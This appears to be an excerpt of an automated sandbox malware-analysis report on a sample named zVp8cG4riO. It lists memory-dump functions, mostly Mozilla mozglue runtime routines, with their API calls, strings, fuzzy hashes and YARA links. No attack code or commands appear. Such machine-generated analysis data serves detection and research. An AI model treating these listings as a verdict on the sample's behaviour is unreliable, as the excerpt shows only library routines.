Uniqueness

Uniqueness Score: -1.00%

Function 6CCE3480 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 86librarytimeloaderCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?,?,?,?,?,?,6CCE3284,?,?,6CD056F6), ref: 6CCE3492
GetProcessTimes.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,6CCE3284,?,?,6CD056F6), ref: 6CCE34A9
LoadLibraryW.KERNEL32(kernel32.dll,?,?,?,?,?,?,?,?,6CCE3284,?,?,6CD056F6), ref: 6CCE34EF
GetProcAddress.KERNEL32(00000000,GetSystemTimePreciseAsFileTime), ref: 6CCE350E
__Init_thread_footer.LIBCMT ref: 6CCE3522
__aulldiv.LIBCMT ref: 6CCE3552
FreeLibrary.KERNEL32(?,?,?,?,?,?,?,?,6CCE3284,?,?,6CD056F6), ref: 6CCE357C
GetSystemTimeAsFileTime.KERNEL32(?,?,?,?,?,?,?,?,6CCE3284,?,?,6CD056F6), ref: 6CCE3592

Part of subcall function 6CD1AB89: EnterCriticalSection.KERNEL32(6CD6E370,?,?,?,6CCE34DE,6CD6F6CC,?,?,?,?,?,?,?,6CCE3284), ref: 6CD1AB94
Part of subcall function 6CD1AB89: LeaveCriticalSection.KERNEL32(6CD6E370,?,6CCE34DE,6CD6F6CC,?,?,?,?,?,?,?,6CCE3284,?,?,6CD056F6), ref: 6CD1ABD1

Strings

GetSystemTimePreciseAsFileTime, xrefs: 6CCE3508
kernel32.dll, xrefs: 6CCE34EA

Memory Dump Source

Source File: 00000001.00000002.2626456215.000000006CCE1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCE0000, based on PE: true

Associated: 00000001.00000002.2626395690.000000006CCE0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2626538007.000000006CD5D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2626586930.000000006CD6E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2626624316.000000006CD72000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cce0000_zVp8cG4riO.jbxd

Similarity

API ID: CriticalLibraryProcessSectionTime$AddressCurrentEnterFileFreeInit_thread_footerLeaveLoadProcSystemTimes__aulldiv
String ID: GetSystemTimePreciseAsFileTime$kernel32.dll
API String ID: 3634367004-706389432
Opcode ID: 211fd44739ba4a60bcc7b16c0cf4d5f292208c7e0c01a3f4f369f4078c55c80c
Instruction ID: 29f256300580da0f48a8693f1635e4a44e00efef78e25ae7e1824776dfcde230
Opcode Fuzzy Hash: 211fd44739ba4a60bcc7b16c0cf4d5f292208c7e0c01a3f4f369f4078c55c80c
Instruction Fuzzy Hash: 3E317271B01605ABEF04DFB6C948BBA77BAFB4A304F144419E64597BB0E770A904CB70

Uniqueness

Uniqueness Score: -1.00%

Function 6CCE4480 Relevance: 16.8, APIs: 11, Instructions: 316COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(B60B60B8,?,?,?,?,6CD24843,?), ref: 6CCE45F5
free.MOZGLUE(?,?,?,?,?,?,?,?,6CD24843,?), ref: 6CCE468A
free.MOZGLUE(?,?,?,?,?,?,6CD24843,?), ref: 6CCE46C9
free.MOZGLUE(?), ref: 6CCE46EF
free.MOZGLUE(?), ref: 6CCE4712
free.MOZGLUE(?), ref: 6CCE4735
free.MOZGLUE(?), ref: 6CCE4758
free.MOZGLUE(?), ref: 6CCE477B
free.MOZGLUE(?), ref: 6CCE479E

Memory Dump Source

Source File: 00000001.00000002.2626456215.000000006CCE1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCE0000, based on PE: true

Associated: 00000001.00000002.2626395690.000000006CCE0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2626538007.000000006CD5D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2626586930.000000006CD6E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2626624316.000000006CD72000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cce0000_zVp8cG4riO.jbxd

Similarity

API ID: free$moz_xmalloc
String ID:
API String ID: 3009372454-0
Opcode ID: 4e44497059a4e01020a1edcb4f368a9407eefc0539ae9b763f7d5524aa1fc6be
Instruction ID: 8c65bc91b924ab52c1c50fdea7d74d04a0f58f382b52ce319d5db480359bad50
Opcode Fuzzy Hash: 4e44497059a4e01020a1edcb4f368a9407eefc0539ae9b763f7d5524aa1fc6be
Instruction Fuzzy Hash: C0B1D271A001508FDB28DFADD89476D77A6AF4B328F184669E816DFB92F730D840CB91

Uniqueness

Uniqueness Score: -1.00%

Function 6CD4AC20 Relevance: 16.6, APIs: 11, Instructions: 92fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32 ref: 6CD4AC52
CreateFileMappingW.KERNEL32 ref: 6CD4AC7D
GetSystemInfo.KERNEL32 ref: 6CD4AC98
MapViewOfFile.KERNEL32 ref: 6CD4ACB0
GetSystemInfo.KERNEL32 ref: 6CD4ACCD
MapViewOfFile.KERNEL32 ref: 6CD4AD05
UnmapViewOfFile.KERNEL32 ref: 6CD4AD1C
CloseHandle.KERNEL32 ref: 6CD4AD28
UnmapViewOfFile.KERNEL32 ref: 6CD4AD37
CloseHandle.KERNEL32 ref: 6CD4AD43
CloseHandle.KERNEL32 ref: 6CD4AD67

Memory Dump Source

Source File: 00000001.00000002.2626456215.000000006CCE1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCE0000, based on PE: true

Associated: 00000001.00000002.2626395690.000000006CCE0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2626538007.000000006CD5D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2626586930.000000006CD6E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2626624316.000000006CD72000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cce0000_zVp8cG4riO.jbxd

Similarity

API ID: File$View$CloseHandle$CreateInfoSystemUnmap$Mapping
String ID:
API String ID: 1192971331-0
Opcode ID: 0ba19db26816f726d50c3183f50609dd3d7a9cf2d35847cfbacba55a34e22054
Instruction ID: afc584ff7345c5441c033b7ca15eaea9c37f16683d632c3ac3a83034951fe4b8
Opcode Fuzzy Hash: 0ba19db26816f726d50c3183f50609dd3d7a9cf2d35847cfbacba55a34e22054
Instruction Fuzzy Hash: 413160B1A047059FEB00EF79D64826EBBF4BF85305F01892DEA8997251EB709458CB92

Uniqueness

Uniqueness Score: -1.00%

Function 6CCE1E90 Relevance: 15.1, APIs: 9, Strings: 1, Instructions: 120COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6CD6E784), ref: 6CCE1EC1
LeaveCriticalSection.KERNEL32(6CD6E784), ref: 6CCE1EE1
EnterCriticalSection.KERNEL32(6CD6E744), ref: 6CCE1F38
LeaveCriticalSection.KERNEL32(6CD6E744), ref: 6CCE1F5C
VirtualFree.KERNEL32(?,00100000,00004000), ref: 6CCE1F83
LeaveCriticalSection.KERNEL32(6CD6E784), ref: 6CCE1FC0
EnterCriticalSection.KERNEL32(6CD6E784), ref: 6CCE1FE2
LeaveCriticalSection.KERNEL32(6CD6E784), ref: 6CCE1FF6
memset.VCRUNTIME140(00000000,00000000,?), ref: 6CCE2019

Strings

MOZ_CRASH(), xrefs: 6CCE2000

Memory Dump Source

Source File: 00000001.00000002.2626456215.000000006CCE1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCE0000, based on PE: true

Associated: 00000001.00000002.2626395690.000000006CCE0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2626538007.000000006CD5D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2626586930.000000006CD6E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2626624316.000000006CD72000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cce0000_zVp8cG4riO.jbxd

Similarity

API ID: CriticalSection$Leave$Enter$FreeVirtualmemset
String ID: MOZ_CRASH()
API String ID: 2055633661-2608361144
Opcode ID: 3f300225d28a71430dc4cf78144b941ecfe8af9cb66b782f5b74e9ba068b9fd1
Instruction ID: 76e532bc7f7bdba7e2adddb6e354993acfe7ad88b1793d06b332dc3c5f4f02d2
Opcode Fuzzy Hash: 3f300225d28a71430dc4cf78144b941ecfe8af9cb66b782f5b74e9ba068b9fd1
Instruction Fuzzy Hash: 2441A471B043159FEB009F6ACC84B6AB7B9EB4A345F040125FA059BB82E771D805CBE1

Uniqueness

Uniqueness Score: -1.00%

Function 6CCF7E90 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 116stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CCF7EA7
malloc.MOZGLUE(00000001), ref: 6CCF7EB3

Part of subcall function 6CCFCAB0: EnterCriticalSection.KERNEL32(?), ref: 6CCFCB49
Part of subcall function 6CCFCAB0: LeaveCriticalSection.KERNEL32(?), ref: 6CCFCBB6

strncpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,00000000), ref: 6CCF7EC4
mozalloc_abort.MOZGLUE(?), ref: 6CCF7F19
malloc.MOZGLUE(?), ref: 6CCF7F36
memcpy.VCRUNTIME140(00000000,?,?), ref: 6CCF7F4D

Strings

d, xrefs: 6CCF7F89

Memory Dump Source

Source File: 00000001.00000002.2626456215.000000006CCE1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCE0000, based on PE: true

Associated: 00000001.00000002.2626395690.000000006CCE0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2626538007.000000006CD5D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2626586930.000000006CD6E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2626624316.000000006CD72000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cce0000_zVp8cG4riO.jbxd

Similarity

API ID: CriticalSectionmalloc$EnterLeavememcpymozalloc_abortstrlenstrncpy
String ID: d
API String ID: 204725295-2564639436
Opcode ID: b6cf069495c4db5bef4009883181cc393ec1255489bea2fdde67b6c7549183b6
Instruction ID: 5aefb36e9b53b7f3a7f9dc5b173fbda58c8e3ef92db8feb74d6670bf16e174f9
Opcode Fuzzy Hash: b6cf069495c4db5bef4009883181cc393ec1255489bea2fdde67b6c7549183b6
Instruction Fuzzy Hash: 0C31F661E0438897FF019B69DC049FEB77CEF96208F445229ED595BA12FB30A5D8C3A1

Uniqueness

Uniqueness Score: -1.00%

Function 6CCF3E80 Relevance: 13.7, APIs: 9, Instructions: 246memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL ref: 6CCF3EEE
RtlFreeHeap.NTDLL(?,00000000,?), ref: 6CCF3FDC
RtlAllocateHeap.NTDLL ref: 6CCF4006
RtlFreeHeap.NTDLL(?,00000000,?), ref: 6CCF40A1
RtlFreeUnicodeString.NTDLL(?,?,00000000,?,?,00000000,?,?,?,?,?,?,6CCF3CCC), ref: 6CCF40AF
RtlFreeUnicodeString.NTDLL(?,?,00000000,?,?,00000000,?,?,?,?,?,?,6CCF3CCC), ref: 6CCF40C2
RtlFreeHeap.NTDLL(?,00000000,?), ref: 6CCF4134
RtlFreeUnicodeString.NTDLL(?,?,00000000,?,?,00000000,00000040,?,?,?,?,?,6CCF3CCC), ref: 6CCF4143
RtlFreeUnicodeString.NTDLL(?,?,?,00000000,?,?,00000000,00000040,?,?,?,?,?,6CCF3CCC), ref: 6CCF4157

Memory Dump Source

Source File: 00000001.00000002.2626456215.000000006CCE1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCE0000, based on PE: true

Associated: 00000001.00000002.2626395690.000000006CCE0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2626538007.000000006CD5D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2626586930.000000006CD6E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2626624316.000000006CD72000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cce0000_zVp8cG4riO.jbxd

Similarity

API ID: Free$Heap$StringUnicode$Allocate
String ID:
API String ID: 3680524765-0
Opcode ID: b13ab191b94d3bc336a0173e00329c51f753acdad4a2e35824d3aa2c58c5bb22
Instruction ID: 083eaff242fac4f1ca32faa30e8c2d1996fcadfc0f4160d234ca84422550763a
Opcode Fuzzy Hash: b13ab191b94d3bc336a0173e00329c51f753acdad4a2e35824d3aa2c58c5bb22
Instruction Fuzzy Hash: 17A182B1A00205CFEB80CF69C980759B7B5FF88304F294199D9199F752E771D987CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 6CD39D00 Relevance: 13.7, APIs: 9, Instructions: 178timeCOMMON

Download Yara Rule

APIs

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,6CD38273), ref: 6CD39D65
free.MOZGLUE(6CD38273,?), ref: 6CD39D7C
free.MOZGLUE(?,?), ref: 6CD39D92
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6CD39E0F
free.MOZGLUE(6CD3946B,?,?), ref: 6CD39E24
free.MOZGLUE(?,?,?), ref: 6CD39E3A
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?), ref: 6CD39EC8
free.MOZGLUE(6CD3946B,?,?,?), ref: 6CD39EDF
free.MOZGLUE(?,?,?,?), ref: 6CD39EF5

Memory Dump Source

Source File: 00000001.00000002.2626456215.000000006CCE1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCE0000, based on PE: true

Associated: 00000001.00000002.2626395690.000000006CCE0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2626538007.000000006CD5D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2626586930.000000006CD6E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2626624316.000000006CD72000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cce0000_zVp8cG4riO.jbxd

Similarity

API ID: free$StampTimeV01@@Value@mozilla@@
String ID:
API String ID: 956590011-0
Opcode ID: 4b93f938468bae212092f64d197a0669bbfb65cbb8a4560e0927b3e721b9f142
Instruction ID: 7d9d176906a34e7e10136ffe08c0d2e55b8c11a64e5f185e96ceecb45d34143a
Opcode Fuzzy Hash: 4b93f938468bae212092f64d197a0669bbfb65cbb8a4560e0927b3e721b9f142
Instruction Fuzzy Hash: AE717BB090AB51CBD712CF18C48055AF3F5FF9A315B449619EC9E5BB22EB30E885CB91

Uniqueness

Uniqueness Score: -1.00%

Function 6CD3DDC0 Relevance: 13.7, APIs: 9, Instructions: 152COMMON

Download Yara Rule

APIs

?profiler_get_core_buffer@baseprofiler@mozilla@@YAAAVProfileChunkedBuffer@2@XZ.MOZGLUE ref: 6CD3DDCF

Part of subcall function 6CD1FA00: ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CD1FA4B

Part of subcall function 6CD390E0: free.MOZGLUE(?,00000000,?,?,6CD3DEDB), ref: 6CD390FF
Part of subcall function 6CD390E0: free.MOZGLUE(?,00000000,?,?,6CD3DEDB), ref: 6CD39108

free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CD3DE0D
free.MOZGLUE(00000000), ref: 6CD3DE41
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CD3DE5F
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CD3DEA3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CD3DEE9
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,6CD2DEFD,?,6CCF4A68), ref: 6CD3DF32

Part of subcall function 6CD3DAE0: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6CD3DB86
Part of subcall function 6CD3DAE0: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6CD3DC0E

free.API-MS-WIN-CRT-HEAP-L1-1-0(?,6CD2DEFD,?,6CCF4A68), ref: 6CD3DF65
free.MOZGLUE(?), ref: 6CD3DF80

Part of subcall function 6CD05E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6CD05EDB
Part of subcall function 6CD05E90: memset.VCRUNTIME140(6CD47765,000000E5,55CCCCCC), ref: 6CD05F27
Part of subcall function 6CD05E90: LeaveCriticalSection.KERNEL32(?), ref: 6CD05FB2

Memory Dump Source

Source File: 00000001.00000002.2626456215.000000006CCE1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCE0000, based on PE: true

Associated: 00000001.00000002.2626395690.000000006CCE0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2626538007.000000006CD5D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2626586930.000000006CD6E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2626624316.000000006CD72000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cce0000_zVp8cG4riO.jbxd

Similarity

API ID: free$CriticalImpl@detail@mozilla@@MutexSection$?profiler_get_core_buffer@baseprofiler@mozilla@@Buffer@2@ChunkedEnterExclusiveLeaveLockProfileReleasememset
String ID:
API String ID: 112305417-0
Opcode ID: 822d9fbb354d2264a6f72b731b210a0a46491c1bc4c1907cdd1eb3bf38631e0a
Instruction ID: cdcfdeda7eebe2548691e6f23397f0004beac8873009dc40d25cd5fd9623b783
Opcode Fuzzy Hash: 822d9fbb354d2264a6f72b731b210a0a46491c1bc4c1907cdd1eb3bf38631e0a
Instruction Fuzzy Hash: D851D472611620DBD7119F29C8802AEB7B6AF93308F95111DD99E63B60DB31F819CF92

Uniqueness

Uniqueness Score: -1.00%

Function 6CD45D10 Relevance: 13.6, APIs: 9, Instructions: 126COMMON

Download Yara Rule

APIs

?_Fiopen@std@@YAPAU_iobuf@@PB_WHH@Z.MSVCP140(?,00000001,00000040,?,00000000,?,6CD45C8C,?,6CD1E829), ref: 6CD45D32
?getloc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QBE?AVlocale@2@XZ.MSVCP140(?,00000000,00000001,?,?,?,?,00000000,?,6CD45C8C,?,6CD1E829), ref: 6CD45D62
??0_Lockit@std@@QAE@H@Z.MSVCP140(00000000,?,?,?,?,00000000,?,6CD45C8C,?,6CD1E829), ref: 6CD45D6D
??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,?,00000000,?,6CD45C8C,?,6CD1E829), ref: 6CD45D84
?_Getgloballocale@locale@std@@CAPAV_Locimp@12@XZ.MSVCP140(?,?,?,?,00000000,?,6CD45C8C,?,6CD1E829), ref: 6CD45DA4
?_Getcat@?$codecvt@DDU_Mbstatet@@@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(?,?,?,?,?,?,00000000,?,6CD45C8C,?,6CD1E829), ref: 6CD45DC9
std::_Facet_Register.LIBCPMT ref: 6CD45DDB
??1_Lockit@std@@QAE@XZ.MSVCP140(?,?,?,?,00000000,?,6CD45C8C,?,6CD1E829), ref: 6CD45E00
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,00000000,?,6CD45C8C,?,6CD1E829), ref: 6CD45E45

Memory Dump Source

Source File: 00000001.00000002.2626456215.000000006CCE1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCE0000, based on PE: true

Associated: 00000001.00000002.2626395690.000000006CCE0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2626538007.000000006CD5D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2626586930.000000006CD6E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2626624316.000000006CD72000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cce0000_zVp8cG4riO.jbxd

Similarity

API ID: Lockit@std@@$??0_??1_?getloc@?$basic_streambuf@Bid@locale@std@@D@std@@@std@@Facet_Fiopen@std@@Getcat@?$codecvt@Getgloballocale@locale@std@@Locimp@12@Mbstatet@@@std@@RegisterU?$char_traits@U_iobuf@@V42@@Vfacet@locale@2@Vlocale@2@abortstd::_
String ID:
API String ID: 2325513730-0
Opcode ID: e68f3e131b410ff8ee4c2de222e3dd8c72554634315f990a31e3a76f97f9056b
Instruction ID: e5ae009b31e412dd169a60ba50b3df44829dfe66dccb4d8feff662aad4d14cf0
Opcode Fuzzy Hash: e68f3e131b410ff8ee4c2de222e3dd8c72554634315f990a31e3a76f97f9056b
Instruction Fuzzy Hash: 5A418E75700205DFDB00DF65C898AAE77B9FF89364F448069E60A9B7A1EB31E805CF61

Uniqueness

Uniqueness Score: -1.00%

Function 6CD1CC60 Relevance: 13.6, APIs: 7, Strings: 2, Instructions: 104memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,00003000,00003000,00000004,?,?,?,6CCE31A7), ref: 6CD1CDDD

Strings

<jemalloc>, xrefs: 6CD1CF9F, 6CD1CFB3
: (malloc) Error in VirtualFree(), xrefs: 6CD1CFA4, 6CD1CFB8

Memory Dump Source

Source File: 00000001.00000002.2626456215.000000006CCE1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCE0000, based on PE: true

Associated: 00000001.00000002.2626395690.000000006CCE0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2626538007.000000006CD5D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2626586930.000000006CD6E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2626624316.000000006CD72000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cce0000_zVp8cG4riO.jbxd

Similarity

API ID: AllocVirtual
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 4275171209-2186867486
Opcode ID: 23ac72596767467f6f9cced91f982002950deab97cf3c175ff3bd008fa04ffb8
Instruction ID: f3ea90a63523504914d545248fecf1bb54f7b23e6f0a8fc5de1db641cb3b77d9
Opcode Fuzzy Hash: 23ac72596767467f6f9cced91f982002950deab97cf3c175ff3bd008fa04ffb8
Instruction Fuzzy Hash: 2E31A730749205ABFF14AFA69C45B7E7BB9AB81758F204025F611ABFE0DB70D400C7A1

Uniqueness

Uniqueness Score: -1.00%

Function 6CCEECD0 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 143fileCOMMON

Download Yara Rule

APIs

Part of subcall function 6CCEF100: LoadLibraryW.KERNEL32(shell32,?,6CD5D020), ref: 6CCEF122
Part of subcall function 6CCEF100: GetProcAddress.KERNEL32(00000000,SHGetKnownFolderPath), ref: 6CCEF132

moz_xmalloc.MOZGLUE(00000012), ref: 6CCEED50
wcslen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CCEEDAC
wcslen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,\Mozilla\Firefox\SkeletonUILock-,00000020,?,00000000), ref: 6CCEEDCC
CreateFileW.KERNEL32 ref: 6CCEEE08
free.MOZGLUE(00000000), ref: 6CCEEE27
free.MOZGLUE(?,?,?,?,?,?,?,00000000,00000000,00000000), ref: 6CCEEE32

Part of subcall function 6CCEEB90: moz_xmalloc.MOZGLUE(00000104), ref: 6CCEEBB5
Part of subcall function 6CCEEB90: memset.VCRUNTIME140(00000000,00000000,00000104,?,?,6CD1D7F3), ref: 6CCEEBC3
Part of subcall function 6CCEEB90: GetModuleFileNameW.KERNEL32(00000000,00000000,00000104,?,?,?,?,?,?,6CD1D7F3), ref: 6CCEEBD6

Strings

\Mozilla\Firefox\SkeletonUILock-, xrefs: 6CCEEDC1

Memory Dump Source

Source File: 00000001.00000002.2626456215.000000006CCE1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCE0000, based on PE: true

Associated: 00000001.00000002.2626395690.000000006CCE0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2626538007.000000006CD5D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2626586930.000000006CD6E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2626624316.000000006CD72000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cce0000_zVp8cG4riO.jbxd

Similarity

API ID: Filefreemoz_xmallocwcslen$AddressCreateLibraryLoadModuleNameProcmemset
String ID: \Mozilla\Firefox\SkeletonUILock-
API String ID: 1980384892-344433685
Opcode ID: a79113c8b1efacb493f48f0d724b0acb3a6eb9923820a70e4a41953946e1eb98
Instruction ID: 16a8dbf5708ab835b2ea4eb028fb1a0d043691fdc7db696f0337416bb9a71274
Opcode Fuzzy Hash: a79113c8b1efacb493f48f0d724b0acb3a6eb9923820a70e4a41953946e1eb98
Instruction Fuzzy Hash: 4951DF71D053088BEB00DF69D8407EEB7B1AF5E358F44842DE8556BB80F730A988C7A2

Uniqueness

Uniqueness Score: -1.00%

Function 6CD5A520 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 117COMMON

Download Yara Rule

APIs

?HandleSpecialValues@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@@Z.MOZGLUE ref: 6CD5A565

Part of subcall function 6CD5A470: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CD5A4BE
Part of subcall function 6CD5A470: memcpy.VCRUNTIME140(?,?,00000000), ref: 6CD5A4D6

?CreateExponentialRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHPAVStringBuilder@2@@Z.MOZGLUE ref: 6CD5A65B
?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6CD5A6B6

Strings

z, xrefs: 6CD5A6AE
0, xrefs: 6CD5A5FB

Memory Dump Source

Source File: 00000001.00000002.2626456215.000000006CCE1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCE0000, based on PE: true

Associated: 00000001.00000002.2626395690.000000006CCE0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2626538007.000000006CD5D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2626586930.000000006CD6E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2626624316.000000006CD72000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cce0000_zVp8cG4riO.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Builder@2@@$Ascii@CreateDtoaExponentialHandleMode@12@Representation@SpecialValues@memcpystrlen
String ID: 0$z
API String ID: 310210123-2584888582
Opcode ID: 509199b629c848a2052d295074b198d4216f21f5ce798d7a5d7c9fe4a4f91266
Instruction ID: 3bb2566fb886fd79660180571bdf3f842f0d0be5fe18e25d2cfa43159549f8d2
Opcode Fuzzy Hash: 509199b629c848a2052d295074b198d4216f21f5ce798d7a5d7c9fe4a4f91266
Instruction Fuzzy Hash: E7414B719087459FC741DF28C080A9FBBE5BF89354F808A2EF49987690EB30D559CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 00418843 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 47COMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd.LIBCMT ref: 0041884F

Part of subcall function 00417B2C: __getptd_noexit.LIBCMT ref: 00417B2F
Part of subcall function 00417B2C: __amsg_exit.LIBCMT ref: 00417B3C

__amsg_exit.LIBCMT ref: 0041886F
__lock.LIBCMT ref: 0041887F
InterlockedDecrement.KERNEL32(?), ref: 0041889C
_free.LIBCMT ref: 004188AF
InterlockedIncrement.KERNEL32(00423530), ref: 004188C7

Strings

05B, xrefs: 004188B5, 004188BD

Memory Dump Source

Source File: 00000001.00000002.2601724331.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2601724331.0000000000448000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_zVp8cG4riO.jbxd

Yara matches

Similarity

API ID: Interlocked__amsg_exit$DecrementIncrement__getptd__getptd_noexit__lock_free
String ID: 05B
API String ID: 3470314060-3788103304
Opcode ID: cb1538446801220004b0e94d2aebbf41e1672ae537431284a663a37179733970
Instruction ID: f16d68fd9582ac4125616c5e50f94de62243aa4c7be40d45a23fde697d24a6fa
